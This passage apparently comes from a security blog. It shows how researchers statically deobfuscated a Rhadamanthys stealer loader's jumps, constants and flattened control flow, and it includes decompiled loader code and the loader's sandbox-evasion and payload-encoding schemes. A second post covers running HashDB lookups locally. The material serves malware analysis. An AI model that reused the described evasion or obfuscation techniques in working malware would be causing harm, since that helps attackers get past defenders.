An important first insight is that the obfuscation works on a per-function level. Blocks belonging to one function are always contained in the function bounds; there’s no crazy jumping across the whole program. You may be wondering how one is supposed to determine the function bounds - after all, we don’t have a coherent control flow graph. Luckily, this one is simple: Functions touched by the obfuscator only have a single exit point. They always have a ret at their very end.

Any deobfuscation attempt should thus also focus on one function at a time.

First (failed) attempt

While browsing through the code in order to come to a decision on how to deal with it, I stumbled upon cases like this:

.text:0040BECC ; ---------------------------------------------------
.text:0040BECC                 mov     ebx, [esp+40h]
.text:0040BED0                 cmp     ebx, 0BB2D365h
.text:0040BED6                 mov     eax, edx
.text:0040BED8                 lea     edi, off_48B8A4
.text:0040BEDE                 cmovl   eax, edi
.text:0040BEE1                 mov     eax, [eax]
.text:0040BEE3                 add     eax, esi
.text:0040BEE5                 jmp     eax

As can be seen, the jump target depends on cmovl, which will be either edx (via eax) or edi. But what’s edx? It’s not set in this block, and the block doesn’t have any direct parents.

In the general case, one would have to assume edx can be arbitrarily set in one of the (unknown) parent blocks. For this reason, I chose to try symbolic execution. This technique can simulate everything from the beginning of the function, meaning we should always have some sort of value for the registers (they may be symbolic, but for those obfuscator pointers like edx, I would expect integers).

However, after trying both Triton and angr, I figured that symbolic execution is not suitable here, at least not in the fashion I intended. Due to the size of some of the functions in the malware, path explosion becomes a real problem. While the symbolic exploration is working in principle and gives us correct destinations for each indirect jump, it simply doesn’t finish in any acceptable timeframe.

With the insight gained during the symbolic execution attempts and some further manual exploring, it turned out I needn’t have worried about cases such as with the edx register above. For this obfuscation scheme, if a register is used in a block and has not been assigned in said block or a discernible parent, it will always have the value that was assigned to it in the function prologue block. In order to handle such situations, it’s thus enough to create a lookup with all constant register assignments that happen in the prologue block.

Static deobfuscation

Seeing the snippet from the initial section, you may be tempted to say “just define regexes for the 3-4 different patterns & be done with it”. Unfortunately, it’s not that simple. The obfuscation was most likely implemented as a compilation pass (possibly in LLVM), and the compiler has quite a bit of leeway in how it actually arranges and emits the obfuscated code.

You will encounter all of these situations and more:

Instructions can be scheduled however the compiler pleases; you can have completely unrelated (legit) instructions right before jmp eax.
The jmp register is not always eax, it differs per function.
The compiler may have had to temporarily save one of the registers involved in the obfuscation, so you’ll see save/restore pairs. Except in some situations, the saves will be in parent blocks (thankfully, those parents will be explicit and not hidden).
This can also affect the key register for the add, it can be temporarily aliased.
The compiler may have found it convenient to put an incoming branch edge into the middle of the pattern, e.g., towards a mov eax, [eax].

One way to deal with all of this is to use a technique called backwards data slicing. It collects a minimal subset of instructions that influence a given value (such as the jmp register). This is easier to reason about, especially when there are other “noisy” instructions sprinkled into a block. In case of incoming branches, we split the analysis and track the branch source. For the jump obfuscation, it’s enough to do this for a depth of 1 and ignore everything incoming if we’re already on a “split path”.

Here’s an example:

.text:0040BEE7                 lea     eax, off_48B5B0
.text:0040BEED                 cmp     ebx, 0F6A636EFh
.text:0040BEF3                 jl      short loc_40BEFB
.text:0040BEF5                 lea     eax, off_48B6CC
.text:0040BEFB
.text:0040BEFB loc_40BEFB:            ; CODE XREF: .text:0040BEF3↑j
.text:0040BEFB                 mov     eax, [eax]
.text:0040BEFD                 add     eax, esi
.text:0040BEFF                 jmp     eax

Slices:
[<mov eax, [eax]>, <add eax, esi>, <jmp eax>]  ; common path
[<lea eax, off_48B6CC>]  ; path "jcc not taken"
[<lea eax, off_48B5B0>, <jl short loc_40BEFB>]  ; path "jcc taken"

The branch target at 0x40BEFB causes a split into the two paths, where the register diverges.

For conditional moves (cmov), it works slightly differently:

.text:0040ADF2                 mov     ebx, 0F6A636EFh
.text:0040ADF7                 cmp     ebx, 0BB2D365h
.text:0040ADFD                 mov     eax, edx
.text:0040ADFF                 lea     edi, off_48B8A4
.text:0040AE05                 cmovl   eax, edi
.text:0040AE08                 mov     eax, [eax]
.text:0040AE0A                 add     eax, esi
.text:0040AE0C                 mov     edi, edx
.text:0040AE0E                 mov     edx, [esp+2Ch]
.text:0040AE12                 mov     [esp+44h], edx
.text:0040AE16                 mov     edx, edi
.text:0040AE18                 jmp     eax

Slices:
[<lea edi, off_48B8A4>, <cmovl eax, edi>, <mov eax, [eax]>, <add eax, esi>, <jmp eax>]  ; cmov did move (cc true)
[<mov eax, edx>, <cmovl eax, edi>]  ; cmov did not move (cc false)

On the main path, we pretend the cmov executed its move (edi is used), while the secondary slice represents what happens if it doesn’t move (eax is used).

In the examples above, the first element of the slices is the one of interest (i.e., the offset we need to dereference for mov eax, [eax]). This holds true in about 95% of the cases, but sometimes there are other instructions, e.g., there could be a mov to esi, since that register is also part of the overall computation. It might thus be beneficial to get another sub-slice starting at mov eax, [eax].

Note how we have edx here again in the last slice rather than an address, so we need to apply the lookup trick described in the previous section.

Lastly, there is this pattern:

.text:0040AE26                 xor     eax, eax
.text:0040AE28                 cmp     ebx, 13B0D3B2h
.text:0040AE2E                 setz    al
.text:0040AE31                 shl     eax, 6
.text:0040AE34                 mov     eax, off_48B650[eax]
.text:0040AE3A                 add     eax, esi
.text:0040AE3C                 jmp     eax

Slices:
[<xor eax, eax>, <setz al>, <shl eax, 6>, <mov eax, off_48B650[eax]>, <add eax, esi>, <jmp eax>]

The compiler probably emits this instead of cmov when the two addresses can be represented using such a set-condition-code-and-shift pattern. The dereferenced address is either 0x48B650 (zero flag not set) or 0x48B690 (zero flag set → 1<<6 == 0x40 is added).

You may be wondering what all the jump instructions are doing in the slices. They’re included for pure convenience, because as it happens, the set union of all slices represents all instructions that can be safely overwritten when we patch things up.

The patches themselves are pretty straight-forward. We assemble a jcc and jmp, where the condition code is either taken from an existing jcc, from a cmovcc, or from a setcc. The jump destinations are computed from the values we obtained from our data slices and from the function prologue (for the key register and any other random registers).

While the instructions that we overwrite generally provide enough space in total, they’re not always coherent. There may be unrelated instructions in between them. In such cases, some careful shuffling needs to be done in order to consolidate the “free space” by moving legit instructions out of the way.

The jump deobfuscation logic can be found in deob_jumps.py, with some utility code for instruction shifting and rewriting being in deob_util.py.

Results thus far

Functions now have visible control flow and can be decompiled! It’s still not exactly pretty, but definitely progress compared to before. We can work with this.

                  if ( v5 >= 2025505611 )
                  {
                    if ( v5 == 2025505611 )
                    {
                      TranslateMessage(&Msg);
                      DispatchMessageA(&Msg);
                      v7 = (int)&unk_48B77C;
                      v5 = -1113969622;
                      goto LABEL_132;
                    }
                    goto LABEL_5;
                  }
                  if ( v5 != 1949251370 )
                    goto LABEL_5;
                  v37 = *((_DWORD *)hMem + v21) + 4;
                  v23 = dword_48ADFC + 1222248860;
                  v6 = (int)a1;
                  v5 = 215978185;
                }
                else if ( v5 >= 1834411218 )
                {
                  if ( v5 >= 1920510847 )
                  {
                    if ( v5 != 1920510847 )
                      goto LABEL_5;
                    free((void *)Param[24]);
                    v7 = (int)&unk_48B77C;
                    v5 = 1750707187;
                  }

Or, if you’re a graphical person:

Control flow graph for loader main function (0x40A560).

(Very) small functions are problematic

The compiler apparently finds small functions “manageable” in terms of their optimization potential. It precomputes lots of stuff belonging to the obfuscation, merges blocks, and so on.

.text:00414FE8                 xor     edx, edx
.text:00414FEA                 xor     ebx, ebx
.text:00414FEC                 cmp     eax, 15BEFF06h
.text:00414FF1                 setl    dl
.text:00414FF4                 setnz   bl
.text:00414FF7                 add     edx, 0Bh
.text:00414FFA                 lea     esi, ds:5[ebx*4]
.text:00415001                 cmp     eax, 0E18D1F3Ch
.text:00415006                 mov     ebx, 0Dh
.text:0041500B                 mov     eax, 2
.text:00415010                 cmovz   ebx, eax
.text:00415013                 mov     [esp+14h], ebx

Then later on you get:

.text:00415048                 jmp     edi
.text:0041504A ; ----------------------------------------------------
.text:0041504A                 jmp     edx
.text:0041504C ; ----------------------------------------------------
.text:0041504C                 jmp     dword ptr [esp+10h]
.text:00415050 ; ----------------------------------------------------
.text:00415050                 mov     eax, dword_48CC00[ecx*4]
.text:00415057                 add     eax, ebp
.text:00415059                 jmp     eax
.text:0041505B ; ----------------------------------------------------
.text:0041505B                 mov     eax, [esp+1Ch]
.text:0041505F                 mov     eax, dword_48CC00[eax*4]
.text:00415066                 add     eax, ebp
.text:00415068                 jmp     eax

The condition processing all happens in a single block at the top of the function and is pretty much decoupled from the jumps. This is quite different from what we’ve been dealing with in larger functions. Our patching approach is not suitable here, because we’d have to pretty much rewrite the entire function from scratch.

In the end it’s not too big of a loss, though - these functions usually comprise only around 100 lines of assembly (most of which is obfuscator trash), so figuring out what they do by hand is doable.

Dealing with constants

Let’s take a break from the control flow stuff for a moment and deal with something easier.

For the constant obfuscation, there are basically two ways the memory load is done: Either there’s a mov with a load followed by an arithmetic operation with a constant - or it’s the other way around, where the arithmetic operation has the memory operand. So in essence, we just need to look out for all mov/movzx/add/sbb/sub/xor reg, [imm32] instructions.

One problem is that such instructions can definitely appear as part of the underlying program, so we need some way to differentiate which ones are from the obfuscator and which ones must remain untouched. As it happens, if you collect all addresses and sort them, the ones from the obfuscator are clustered together.

.data:0048AEB4 dword_48AEB4    dd 545AE7F4h    ; DATA XREF: sub_40A560+EF0↑r
.data:0048AEB8 dword_48AEB8    dd 372ECFB4h    ; DATA XREF: sub_40A560+EFD↑r
.data:0048AEBC dword_48AEBC    dd 9B874143h    ; DATA XREF: sub_40A560:loc_40C592↑r
.data:0048AEC0 dword_48AEC0    dd 7A9F2473h    ; DATA XREF: sub_40A560+203E↑r
.data:0048AEC4 dword_48AEC4    dd 381897B5h    ; DATA XREF: sub_40A560+205D↑r
.data:0048AEC8 byte_48AEC8     db 1            ; DATA XREF: sub_40A560+1DC2↑r
.data:0048AEC9                 align 4
.data:0048AECC dword_48AECC    dd 0D2B6F7Dh    ; DATA XREF: sub_40A560:loc_40AE3E↑r
.data:0048AED0 dword_48AED0    dd 0D9E7D1Bh    ; DATA XREF: sub_40A560+8EA↑r
.data:0048AED4 dword_48AED4    dd 0F813A068h   ; DATA XREF: sub_40C8B0+C↑r
.data:0048AED8 dword_48AED8    dd 66A48DFEh    ; DATA XREF: sub_40C8B0+A3↑r
.data:0048AEDC dword_48AEDC    dd 0E92E6D27h   ; DATA XREF: sub_40C8B0+73↑r
.data:0048AEE0 dword_48AEE0    dd 13A7AAC9h    ; DATA XREF: sub_40C8B0+17↑r

For this particular analysis, it makes sense to work at the program-level rather than individual functions. The xrefs are not strictly linear and the more complete your picture is, the better.

I found that valid addresses are at most 0x10 bytes away from each other, but sometimes there are gaps where there’s some other data in between clusters of obfuscator addresses. For this sample, if you mandate that a valid cluster needs at least 10 addresses following the 0x10 rule, you will catch all obfuscator addresses. Any outliers will be addresses belonging to the real code.

Once we have that, we can simply replace all memory operands with their immediate values. Patching is trivial, because in x86, reg, imm32 operands are always shorter or the same length as reg, [imm32] operands, so we can’t run into space problems.

I will forego actually fully folding the constants and leave that job to an optimizing decompiler. One reason for that is certainly that there are nasty occurrences such as this:

.text:0040A868                 mov     eax, dword_48AE28
.text:0040A86D                 lea     ecx, [esp+48Ch+var_3E4]
.text:0040A874                 xorps   xmm0, xmm0
.text:0040A877                 movups  xmmword ptr [eax+ecx-0C5DAC1Ch], xmm0
.text:0040A87F                 movups  xmmword ptr [eax+ecx-0C5DAC2Ch], xmm0

Replacing the mov eax is enough for IDA’s decompiler to be able to figure things out.

The constant inlining is implemented in deob_consts.py.

Control flow unflattening

The final problem is the flattening, so let’s see what can be done about that. I don’t want to see any huge-number-comparison spaghetti code anymore.

There are some IDA plugins for unflattening that are based on microcode manipulation, such as D-810, and more recently, hrtng (which contains an extended version of HexRaysDeob). They all fail to deal with this particular variant of flattening. I assume that it would be possible to make them compatible with some effort, but I’m not familiar with IDA microcode specifics and didn’t feel like getting into it for this project. Plus I figured I could re-use quite a bit of the rewriting code that we already came up with for the jump deobfuscation.

One (special?) thing about this flattener is that it doesn’t always go to the beginning of the dispatcher once it has assigned a new state variable. If it can find another suitable point in the dispatcher it can jump to, it will do so. This means that analyses looking at the parents of the “main” dispatcher block won’t work, because they’ll miss things.

I chose a rather simplistic approach that seems to work well for this particular flattener:

Look for comparisons against the state register that are followed by jz (or in rare cases jnz where things are flipped). Create a mapping “state key → target”.
Look for assignments to the state register. The assignment value is asserted to be contained in the mapping created in step 1. At the end of the block, create jump(s) to the real target(s).

Here’s an example of step 2 (unrelated instruction have been cut):

.text:0040B758                 cmp     [esp+48Ch+var_3B4], 0
.text:0040B760                 mov     ebx, 0B34CE2DFh  ; new state key
.text:0040B765                 jnz     loc_40C696
.text:0040B771                 cmp     ebx, 0BB2D365h
.text:0040B777                 jge     loc_40C6AD       ; never taken
.text:0040B77D                 jmp     loc_40B6C0

.text:0040C696                 mov     ebx, 0FA72F85Ah  ; new state key
.text:0040C6A1                 cmp     ebx, 0BB2D365h
.text:0040C6A7                 jl      loc_40B77D       ; always taken (then goes straight to 40B6C0)
.text:0040C6AD                 jmp     loc_40A607       ; dead

After rewriting:

.text:0040B758                 cmp     [esp+48Ch+var_3B4], 0
.text:0040B765                 jnz     loc_40C696
.text:0040B771                 cmp     ebx, 0BB2D365h  ; irrelevant leftover
.text:0040B777                 jmp     loc_40BCAF  ; destination for 0B34CE2DFh

.text:0040C696                 nop
                               ...
.text:0040C6A1                 jmp     loc_40C3AC  ; destination for 0FA72F85Ah

These sites are connected with a branch, but they are actually rewritten independently of each other; as you can see, jcc instructions unrelated to dispatching are left as-is (0x40B765). The part where it goes to the dispatcher with jge/jl/jmp can be ignored and overwritten.

Another example. Remember cmov? It has come back to haunt us.

.text:0040C4B4                 cmp     [esp+48Ch+var_448], 5
.text:0040C4B9                 mov     ebx, 2B8162DCh
.text:0040C4BE                 mov     eax, 456A4274h
.text:0040C4C3                 cmovz   ebx, eax
.text:0040C4C6                 cmp     ebx, 0BB2D365h
.text:0040C4CC                 jl      loc_40B6C0
.text:0040C4D2                 jmp     loc_40A607

After rewriting:

.text:0040C4B4                 cmp     [esp+48Ch+var_448], 5
.text:0040C4B9                 mov     ebx, 2B8162DCh  ; irrelevant leftover
.text:0040C4BE                 mov     eax, 456A4274h  ; irrelevant leftover
.text:0040C4C3                 jz      loc_40B199  ; destination for 456A4274h
.text:0040C4C9                 jmp     loc_40ADA2  ; destination for 2B8162DCh

As you can see, the condition code from the cmovcc is simply adapted for a jcc (jz here). It’s just a question of figuring out which operand of the cmov goes where (in logical terms), so you don’t swap the destinations by accident.

While this all seems “simple” enough, care still needs to be taken. Especially in larger blocks, there may be situations where the compiler put other flag-affecting instructions below the cmov. Then by the time you do your jcc, the flags won’t be what you expected anymore! For the most part, these were artifacts from the jump obfuscation that can be done away with by doing a more comprehensive cleanup in that previous deobfuscation phase. But it’s still something that needs to be checked for before rewriting, else you’re in for nasty logic bugs.

Lastly, there is a special case where the state register is not set to a constant, but to a stack variable. This is sometimes the case for decisions that can be evaluated in the function’s first block, so the branch condition and state keys will be up there. It poses quite a challenge, because in order to have a jcc in a block way down in the function, you also need to pull down the branch condition. That’s not always trivial, especially if there’s a comparison against some volatile register that is only valid in the first block.

; Up in the in the first block:
.text:0040A59D                 cmp     [ebp+arg_4], 0           ; we need this down at 40BEXX
.text:0040A5A1                 mov     eax, 0EC71CA67h
.text:0040A5A6                 mov     ecx, 0A0716E5Bh
.text:0040A5AB                 cmovz   ecx, eax
.text:0040A5AE                 mov     [esp+48Ch+var_44C], ecx

; Site of use (state var assignment):
.text:0040BECC                 mov     ebx, [esp+48Ch+var_44C]  ; load stack variable
.text:0040BED0                 cmp     ebx, 0BB2D365h
.text:0040BED6                 jl      loc_40B6C0
.text:0040BEDC                 jmp     loc_40A607

For simplicity’s sake, we’re going to make the following assumptions:

At sites where stack variables like that are used, the stack pointer has the same value as in the first block.
Relevant stack variables (such as arg_4 in the example) are not overwritten in the middle of the function. You may wonder why an argument would ever be overwritten (even if it’s not needed anymore in the rest of the function), but you’d be surprised how inventive compilers can get when looking for free space for temp vars.

These are pretty big assumptions that won’t hold in many programs, but in this case they seem to work and save us a lot of headaches.

That means comparisons such as cmp [ebp+arg_4], 0 can be moved as-is. In another case, we may find cmp ecx, 0 instead - then we need to track where ecx comes from. It could be another memory load like mov ecx, [ebp+arg_4], in which case we can simply propagate the operand and end up with cmp [ebp+arg_4], 0 again. But ecx could also be the result of a more complex computation or even a parameter if the fastcall calling convention is used. In such situations, we can employ a trick and re-use the var_44C variable that the obfuscator allocated. Instead of using it for the cmov result, we’ll place our ecx register into the stack var, so that we can load it again in the block further down. Obviously, the cmov and any dependent instructions need to be nopped for that to work.

The attentive reader may wonder what would happen if we had cmp ecx, edx and both registers were fastcall parameters. Yeah, that would suck; thankfully it never happens in the sample.

The code for the above-mentioned operand analysis can be found here.

So in summary, dealing with this particular flattening is not hard on a conceptual level. The bulk work is getting all the edge cases right.

Final results

At this point you probably want to see an updated graph. Unfortunately, we’re not nopping out all code belonging to the CFF dispatcher, so IDA will still create blocks for it. So we’ll simply pretend the top part of the CFG does not exist, okay? Okay.

Looks enough like a CFG of a sane function to me!

The main function has turned out very pretty, despite being one of the longest functions in the program and the amount of obfuscation-related blocks it originally had:

  v18 = 0;
  v17 = 0;
  memset(Param, 0, sizeof(Param));
  v3 = -1603178917;
  if ( !lpMultiByteStr )
    v3 = -328086937;
  pNumArgs[3] = v3;
  if ( lpMultiByteStr )
  {
    v10 = MultiByteToWideChar(0, 0, lpMultiByteStr, -1, 0, 0);
    v11 = (const WCHAR *)calloc(v10, 2u);
    lpCmdLine = v11;
    if ( v11 )
    {
      pNumArgs[0] = 0;
      hMem = CommandLineToArgvW(lpCmdLine, pNumArgs);
      if ( hMem )
      {
        for ( i = 0; i < pNumArgs[0]; ++i )
        {
          if ( hMem[i] && lstrlenW(hMem[i]) == 66 && *hMem[i] == 45 && hMem[i][1] == 98 )
          {
            v26 = hMem[i] + 2;
            for ( j = 0; j < 64; j = j - 393718627 + 393718629 )
            {
              v7 = &v26[j];
              v8 = sub_40C8B0(*v7);
              v9 = sub_40C8B0(v7[1]);
              if ( v8 >= 0x10u || v9 >= 0x10u )
              {
                v21 = 5;
              }
              else
              {
                v32[j / 2] = v9 | (16 * v8);
                v21 = 0;
              }
              v24 = v21;
              if ( v24 == 5 )
                break;
            }
            if ( j == 64 )
              v18 = 1;
            else
              memset(v32, 0, sizeof(v32));
          }
        }
        LocalFree(hMem);
      }
      free((void *)lpCmdLine);
    }
  }
  v31 = &off_47B9C8;
  v28[1] = 0;
  v28[0] = 0;
  v29 = 0;
  v28[2] = (int)&unk_48A99C;
  v28[3] = (int)sub_40CDA0;
  v28[5] = (int)&v31;
  v28[6] = (int)hInstance;
  v28[7] = a3;
  v28[4] = (int)sub_40CF90;
  WndClass.style = 3;
  WndClass.lpfnWndProc = (WNDPROC)WndProc;
  WndClass.cbClsExtra = 0;
  WndClass.cbWndExtra = 0;
  WndClass.hInstance = hInstance;
  WndClass.hIcon = LoadIconA(0, (LPCSTR)0x7F00);
  WndClass.hCursor = LoadCursorA(0, (LPCSTR)0x7F00);
  WndClass.hbrBackground = (HBRUSH)GetStockObject(0);
  WndClass.lpszMenuName = 0;
  WndClass.lpszClassName = WindowName;
  dword_48E02C = (int)&dword_48E028;
  dword_48E028 = (int)&dword_48E028;
  chain[1] = (int)chain;
  chain[0] = (int)chain;
  Param[92] = 0;
  Param[23] = 0;
  Param[95] = 0;
  Param[24] = 0;
  Param[2] = (int)chain;
  Param[0] = 0;
  Param[22] = (int)&v17;
  Param[1] = (int)malloc(0x40000u);
  if ( Param[1] )
  {
    v19 = 1;
    RegisterClassW(&WndClass);
    memset((void *)Param[1], 0, 0x40000u);
    Param[31] = 0;
    Param[30] = 0;
    Param[4] = (int)v28;
    Param[3] = (int)&v31;
    sub_419808(WindowName, 28, &Param[13]);
    if ( v18 )
    {
      sub_405E50(v37);
      v36 = v37;
      sub_4069C0(v35, &Param[13]);
      sub_406B80(v35, 32, v32, &Param[5]);
    }
    else if ( sub_40F830()
           && MessageBoxW(0, L"Do you want to run a malware?\n(Crypt build to disable this message)", L"Warning", 0x34u) == 7 )
    {
      v19 = 0;
    }
    if ( v19 )
    {
      DesktopWindow = GetDesktopWindow();
      if ( DesktopWindow )
        GetWindowThreadProcessId(DesktopWindow, (LPDWORD)&Param[25]);
      Param[23] = (int)calloc(1u, 30008u);
      pNumArgs[2] = 13565952;
      pNumArgs[1] = 0x80000000;
      CreateWindowExW(
        0,
        WindowName,
        WindowName,
        0xCF0000u,
        0x80000000,
        0x80000000,
        500,
        300,
        HWND_MESSAGE,
        0,
        hInstance,
        Param);
      while ( GetMessageA(&Msg, 0, 0, 0) )
      {
        TranslateMessage(&Msg);
        DispatchMessageA(&Msg);
      }
      free((void *)Param[1]);
      if ( v17 && Param[4] )
      {
        v25 = v17;
        v17(v28);
      }
    }
  }
  if ( Param[24] )
    free((void *)Param[24]);
  if ( Param[95] )
    free((void *)Param[95]);
  if ( Param[23] )
    free((void *)Param[23]);
  while ( (int *)dword_48E028 != &dword_48E028 )
  {
    v4 = (_DWORD *)dword_48E028;
    v5 = *(_DWORD *)dword_48E028;
    v6 = *(_DWORD **)(dword_48E028 + 4);
    *v6 = *(_DWORD *)dword_48E028;
    *(_DWORD *)(v5 + 4) = v6;
    v22 = v4;
    if ( v4[2] )
      (*((void (__stdcall **)(_DWORD, _DWORD, int))v22 + 2))(*((_DWORD *)v22 + 4), 0, 0x8000);
    free(v22);
  }

There are only very few obfuscation artifacts left, e.g., the assignment to v3 in the beginning. In one case IDA failed to optimize a for loop update (where it says j = j - 393718627 + 393718629 instead of j += 2). We can live with that ¯\_(ツ)_/¯.

The ultimate test for a deobfuscator is to see if the deobfuscated application runs without issues. Unfortunately, at the time of writing, that’s not the case for the tooling we developed. There’s no outright crash and the initial message box appears, but a very subtle logic bug seems to prevent correct decoding of the payload.

So, what about the malware loader?

We went through all this effort to bring the code into a shape that can be reversed without too much pain. So let’s see what the Rhadamanthys loader is actually up to.

You can already glean some details from the main function printed in the previous section.

One of the first consequential things that happen is a function call to 0x40F830 followed by a very conspicuous message box if successful. As the message text implies, that function actually checks if the binary was not crypted/packed. This is implemented by doing some section parsing and reading the first 0x1000 .text bytes from disk; those are simply compared with what’s in memory.

Interestingly, the check disregards the fact that the binary was built with relocations and was flagged as movable. It works regardless, because the first function is huge and doesn’t use any addresses that would need to be relocated. The function was probably placed at that position intentionally - otherwise it’d be pure luck.

Other than that, there’s lots of windowing code to register a window class and create an invisible window. A structure called Param is initialized and pretty much contains the state for the rest of the program. It’s passed as the window’s user data pointer so that it can be retrieved later on. The rest of the main function doesn’t actually do much; it eventually enters a classic message loop in order to support the window.

Since a window is in play here, the next point of interest will usually be the so-called window procedure, or WndProc. This is called whenever the operating system has a message that either relates to the window directly or that could be relevant to the application in general (e.g., “the system is about to shut down”).

The procedure handles the following messages:

WM_CREATE: Called after the window has been created. The malware sets up a timer with ID 2.
WM_DESTROY: Called when the window is about to be destroyed. The malware calls PostQuitMessage to essentially end the process.
WM_TIMER: Timer callback.
WM_CAP_SET_CALLBACK_YIELD: Posted by the malware itself. Queues a function pointer.

From the above, you may be able to guess that the main functionality is actually implemented using timers. We find ourselves with a pretty convoluted scheme where many operations are executed as part of callbacks, and it’s not immediately obvious what happens in which order and under which conditions.

Timer ID 2 collects the current cursor position, foreground window and timestamp every 30 milliseconds, 1500 times. This causes a delay of at least 45 seconds until the actual payload is run.
Once it has collected everything, it will do a couple checks on the data. If the checks are successful, it queues function 0x40FBE0 and schedules timer ID 1. The checks are as follows:
- Whether the cursor position has changed at least 30 times.
- There must have been at least two foreground windows, and at least one of them must not belong to the desktop process.
- If the checks fail, the loader will enter another 45 seconds interval, and it will start doing advanced checks that include calculating Euclidean distances between cursor positions. We haven’t analyzed that part in detail.
Timer ID 1 runs any queued functions.
Function 0x40FBE0 posts WM_CAP_SET_CALLBACK_YIELD with parameter 0x411850; as described above, the handler for this message simply queues the parameter as a function pointer (to the queue that timer ID 1 is working on).
0x411850 is responsible for decoding and eventually running the stealer payload. It will post additional functions using WM_CAP_SET_CALLBACK_YIELD that do parts of the work.

These measures are designed to thwart execution in AV emulators and malware sandboxes. For example, if a sandbox sets a different cursor position every 3 seconds but doesn’t simulate “fluid” movement, the captured coordinates will not exceed the threshold of 30 within 45 seconds. CAPE and VMRay pass these checks fine, so in the end they aren’t too effective against common sandboxes.

Custom binary encoding

As promised in the intro, here’s a representation of the algorithm (function 0x416790) that is used to decode the payload strings into binary:

Input	Output
A-Z	0-25
a-z	26-51
0-9	52-61
!?#$%&()*+-,/:;<>=@[\]^`{\\|}~\n	62-90
`' '` + A-Z / a-z	91-142
`'.'` + A-Z / a-z / 0-9	143-204
`'_'` + A-Z	205-230
`'_'` + a-z	231-255 + 0

If you’re wondering what the + 0 is supposed to mean: 0 is encoded by A as well as _z. The malware doesn’t actually make use of this overflow “feature”, though.

While the first three ranges are reminiscent of Base64, the algorithm is completely different from base encodings. Up until 90, it makes use of a lookup consisting of special characters. For the rest up until 255, there’s a two-letter encoding scheme with a special prefix character that influences the output range.

I later found a post by Cormac Conlon stating that the .NET-based variant of the loader also uses this algorithm, where it’s called Flutter.

Note that in addition to this, the payload is also encrypted using a somewhat obscure Chinese block cipher called SM4. The tables/constants required by the algorithm (S-Box, FK, CK) are obscured in function 0x405E50; they’re only loaded temporarily when needed.

Outro

The Rhadamanthys operation has seen a disruption by Operation Endgame earlier this month. It remains to be seen if/how quickly they recover. A lot of data stolen by the stealer was also recovered by law enforcement and provided to Have I Been Pwned.

Our tooling that we developed as part of this research is available on GitHub. Perhaps it will prove useful in the future if the same obfuscator is used for other malware, or if a very similar one pops up to which the code can be adapted. Other than that, we hope the code can serve as a learning resource for how to implement a fast static deobfuscator utilizing the Capstone disassembly library.

Running your own HashDB lookup

Tue, 30 Sep 2025 08:00:00 +0000

What’s all the fuss about?

Imagine you are just starting the analysis of your next sample and stumble across some logic that seems like the implementation of API hashing. But it doesn’t worry you, because you just heard about this tool that is able to automagically resolve the hashes to the original API strings. Your lord and savior: HashDB.

But what if you don’t want to depend on some service provider because you are working with confidential files or an unpublished malware? How can you be sure the service provider will not at some point in time be interested in your analysis behavior? Or, most importantly, what if you just cannot reach the internet from your analysis system?

No worries, we got you!

Run HashDB locally

To solve the problems above (and more) we created the HashDB database for local lookups. Our implementation can be found on GitHub and consists of three components:

In the following, we will explain the functionality / benefits of each component.

TL;DR

Download the latest release and unzip it in your IDA plugins directory - %PROGRAMFILES%/IDA/plugins/ usually (contains a prebuilt lookup database, have a look at HashDB builder on how to build your own)
Create the directory %LOCALAPPDATA%/hashdb/
Move the file hashdb.sqlite3 to the location %LOCALAPPDATA%/hashdb/
Done

IDA plugin

The plugin is a fork of the original implementation made by OALabs. For an exhaustive explanation look at the README. In short the plugin is able to find the hash algorithm in use, use a static xor value, create an enum to replace hash constants with its API name and more.

Originally the plugin used the requests module to communicate with the remote HashDB lookup service. Therefore we had to make some changes here. We wanted to change the original code as little as possible because of forward compatibility. The most straight-forward solution was to implement our own “requests” methods that can be used as replacement in the plugin. The logic is implemented in our hook. To make sure the plugin gets adapted accordingly, we created a patch file that can be used to simply replace the requests import with our own implementation.

Local HashDB database

The core component of the local HashDB implementation is the database with all needed information to make local hash lookups. This database is filled with information from three sources:

Hash algorithm implementations
SQLite database with information about relevant Windows APIs and module namens
A file with strings that should be added to the lookup database

Hash algorithms

To be able to fill the database with the needed string to hash mappings, we need the implementation of all algorithms used for API hashing (or at least, as many as possible). Luckily, there is a public repo by OALabs, that contains plenty of them. If you want to add your own algorithms you can always do so by adding the implementation of it in the algorithms folder. The implementation has to be in the following form:

#!/usr/bin/env python

DESCRIPTION = "your hash description here"
EXTENDED_PERMUTATION = True # set on true only if extended permutations is needed
# Type can be either 'unsigned_int' (32bit) or 'unsigned_long' (64bit)
TYPE = 'unsigned_int'
# Test must match the exact hash of the string 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
TEST_1 = hash_of_string_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789


def hash(data):
    # your implementation here

Also if you add a new algorithm to your local database and it’s not top secret: Make sure to add it to OALabs repo as well to help the community!

Database of Windows APIs / modules and list of strings

Furthermore we added a database with relevant Windows modules and APIs. Additionally a strings file is used to add custom strings to the HashDB lookup database. You can use both files to add information that you want HashDB to be able to lookup. This is easy for random strings that you have found hashed in your samples: Just put them into the strings file. If you want to add a module that is not already in the prepared you can use the make_function_db.py script. To use it you have to follow these two steps:

mkdir <fancy_name>
python ./make_function_db.py <fancy_name> ./functions_with_forwards.sqlite3

After you have prepared these two files with all the information you want to be able to look up (or just leave the files as they are - this should be enough for most use cases), you are now ready to build the main lookup database.

Main database for the local HashDB lookup

Both of the mentioned files (API database and strings file) are used in the process of database creation (i.e., running the hashdb_builder.py script) to populate the HashDB lookup database. The script builds a database containing all given modules, APIs, strings, and permutations and calculates hashes for all combinations of APIs / strings and permutations. This database will be the source for lookups done by the hook described below.

Hook

The hook is used to connect the IDA plugin with our local HashDB database. As mentioned above, in order to keep the plugin mostly unchanged, we had to implement the needed requests methods (get and post) to run queries on the local database. The remote HashDB lookup service provides API functions to query their database for specific information. We implemented some of the endpoints in the hook to query our local lookup database.

We implemented four endpoints in the hooking logic to use the lookup database:

GET /hash: Used to list all available hash algorithms in the database
GET /hash/<algorithm>/<hash>: Get the corresponding API string for the given algorithm + hash combination
GET /module/<module>/<permutation>: Get a list of API string hashes for a module and algorithm using a specific permutation
POST /hunt: Hunt for the right hash algorithm (i.e., search for the hash in the database and return the corresponding algorithm)

Conclusion

With the provided adaptation of the IDA plugin and the implementation of a local HashDB lookup using a custom database, you are able to leverage the full potential of HashDB without the cons of using a remote service provider. Additionally you can add any hashed strings from your analysis to the lookup database so that you are able to adapt it to your needs in the most flexible way.

Have fun :)

